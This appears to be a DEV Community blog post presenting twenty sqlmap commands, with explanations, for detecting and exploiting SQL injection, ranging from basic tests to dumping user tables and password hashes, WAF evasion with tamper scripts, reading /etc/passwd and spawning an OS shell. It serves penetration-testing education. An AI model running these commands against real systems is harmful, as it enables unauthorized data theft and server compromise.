DEV Community

Abhinav Singwal
Abhinav Singwal

Posted on

Top 20 sqlmap Commands Every Security Professional Should Know

#sqlmap #sqlmapcommands #top20commands #cybersecurity

Top 20 sqlmap Commands Every Security Professional Should Know

sqlmap is the industry-standard open-source tool for automating the detection and exploitation of SQL injection flaws . It supports a wide range of database backends including MySQL, Oracle, PostgreSQL, Microsoft SQL Server, SQLite, and many more . Beyond simple detection, sqlmap can fingerprint the database, enumerate users and databases, extract data, access the underlying file system, and execute operating system commands via out-of-band connections . This fourth entry in our series covers the twenty most practical sqlmap commands, complete with explanations of when and why to use each one.

Top Commands SqlMap

1. Basic SQL Injection Test 

sqlmap -u "http://example.com/page.php?id=1"
Enter fullscreen mode Exit fullscreen mode

The -u flag specifies the target URL with parameters. This is the simplest invocation and tests the given URL for SQL injection vulnerabilities automatically. sqlmap will first test if the parameter is dynamic, then attempt various injection techniques .

2. Test POST Parameters 

sqlmap -u "http://example.com/login" --data="user=admin&pass=test"
Enter fullscreen mode Exit fullscreen mode

The --data flag sends parameters via POST body instead of the URL query string. This is essential for testing login forms, API endpoints, and any application that accepts user input through POST requests .

3. Mark Specific Injection Point 

sqlmap -u "http://example.com/page?id=1*" -p id
Enter fullscreen mode Exit fullscreen mode

The asterisk (*) marks exactly where sqlmap should inject. This is useful when a URL contains multiple parameters and you want to target a specific one. The -p flag can also specify which parameter to test .

4. Use a Saved Request File 

sqlmap -r request.txt
Enter fullscreen mode Exit fullscreen mode

The -r flag loads an HTTP request from a file, typically exported from Burp Suite or OWASP ZAP. This is the preferred method for authenticated scans, complex requests with multipart bodies, or when you need to capture exact headers, cookies, and whitespace .

5. Enumerate All Databases 

sqlmap -u "http://example.com/page?id=1" --dbs
Enter fullscreen mode Exit fullscreen mode

The --dbs flag lists all databases available on the backend DBMS. This is typically the first enumeration step after confirming an injection, revealing the database names that attackers will target for sensitive data .

6. List Tables in a Database 

sqlmap -u "http://example.com/page?id=1" -D database_name --tables
Enter fullscreen mode Exit fullscreen mode

The -D flag specifies the database, and --tables lists its tables. This reveals the schema structure and helps identify tables containing user credentials, financial data, or other sensitive information .

7. List Columns in a Table 

sqlmap -u "http://example.com/page?id=1" -D database_name -T users --columns
Enter fullscreen mode Exit fullscreen mode

The -T flag specifies the table, and --columns lists its columns. This reveals the exact structure of a target table before dumping data, allowing you to extract only what matters .

8. Dump Table Data 

sqlmap -u "http://example.com/page?id=1" -D database_name -T users --dump
Enter fullscreen mode Exit fullscreen mode

The --dump flag extracts all data from the specified table. This is the final step in SQL injection exploitation, retrieving the actual information that attackers seek such as usernames, password hashes, and personal data .

9. Dump Specific Columns 

sqlmap -u "http://example.com/page?id=1" -D database_name -T users -C username,password --dump
Enter fullscreen mode Exit fullscreen mode

The -C flag limits extraction to specific columns. This is more efficient than dumping entire tables and reduces noise when you know exactly which fields contain sensitive data .

10. Get Current Database and User 

sqlmap -u "http://example.com/page?id=1" --current-db --current-user
Enter fullscreen mode Exit fullscreen mode

These flags retrieve the active database name and the database user account sqlmap is operating as. This information helps assess the privilege level of the compromised session .

11. Check for DBA Privileges 

sqlmap -u "http://example.com/page?id=1" --is-dba
Enter fullscreen mode Exit fullscreen mode

The --is-dba flag checks if the current database user has administrative privileges. DBA access opens additional exploitation avenues such as file system access and OS command execution .

12. Extract Password Hashes 

sqlmap -u "http://example.com/page?id=1" --passwords
Enter fullscreen mode Exit fullscreen mode

The --passwords flag dumps database user password hashes. sqlmap can also attempt to crack these hashes using dictionary attacks, potentially yielding plaintext credentials for lateral movement .

13. Non-Interactive Mode 

sqlmap -u "http://example.com/page?id=1" --batch
Enter fullscreen mode Exit fullscreen mode

The --batch flag runs sqlmap in non-interactive mode, accepting default answers for all prompts. This is essential for automation, CI/CD pipelines, and any scenario where manual input is not possible .

14. Adjust Detection Level 

sqlmap -u "http://example.com/page?id=1" --level=3
Enter fullscreen mode Exit fullscreen mode

The --level flag controls test depth from 1 to 5. Higher levels test more parameters, use more payloads, and increase the likelihood of detection but also improve coverage. Level 3 is a common starting point for thorough assessments .

15. Adjust Risk Level 

sqlmap -u "http://example.com/page?id=1" --risk=2
Enter fullscreen mode Exit fullscreen mode

The --risk flag controls payload risk from 1 to 3. Risk level 2 adds time-based and heavier payloads. Risk level 3 includes destructive UPDATE-based tests that can modify data. Use higher risk levels only when authorized and when data integrity is not a concern .

16. Specify Injection Technique 

sqlmap -u "http://example.com/page?id=1" --technique=U
Enter fullscreen mode Exit fullscreen mode

The --technique flag selects specific SQL injection methods. Letters map to techniques: B (Boolean), E (Error), U (Union), S (Stacked), T (Time-based), Q (Inline). Restricting techniques can speed up scans when the backend DBMS behavior is predictable .

17. WAF Bypass with Tamper Scripts 

sqlmap -u "http://example.com/page?id=1" --tamper=space2comment
Enter fullscreen mode Exit fullscreen mode

The --tamper flag applies scripts that modify payloads to evade web application firewalls. Common scripts include space2comment (replaces spaces with comments), randomcase (randomizes keyword casing), and charencode (URL-encodes characters) .

18. Route Through a Proxy 

sqlmap -u "http://example.com/page?id=1" --proxy="http://127.0.0.1:8080"
Enter fullscreen mode Exit fullscreen mode

The --proxy flag routes all sqlmap traffic through a proxy such as Burp Suite or OWASP ZAP. This allows real-time inspection and modification of the payloads sqlmap sends, which is invaluable for understanding why certain injections succeed or fail .

19. Read a File from the Server 

sqlmap -u "http://example.com/page?id=1" --file-read="/etc/passwd"
Enter fullscreen mode Exit fullscreen mode

The --file-read flag reads files from the underlying file system when database privileges permit. This can expose configuration files, credentials, or source code that reveals additional attack surface .

20. Obtain an OS Shell 

sqlmap -u "http://example.com/page?id=1" --os-shell
Enter fullscreen mode Exit fullscreen mode

The --os-shell flag attempts to spawn an interactive operating system shell through the SQL injection. This represents full compromise and is typically used as a stepping stone for deeper network penetration. Use only with explicit authorization .

Explore More Tools

For a comprehensive collection of hacking tools, cheat sheets, and resources, visit my GitHub repository:

https://github.com/yogsec/Hacking-Tools/

Stay connected for more security content and updates:

https://linktr.ee/abhinavsingwal

Top comments (0)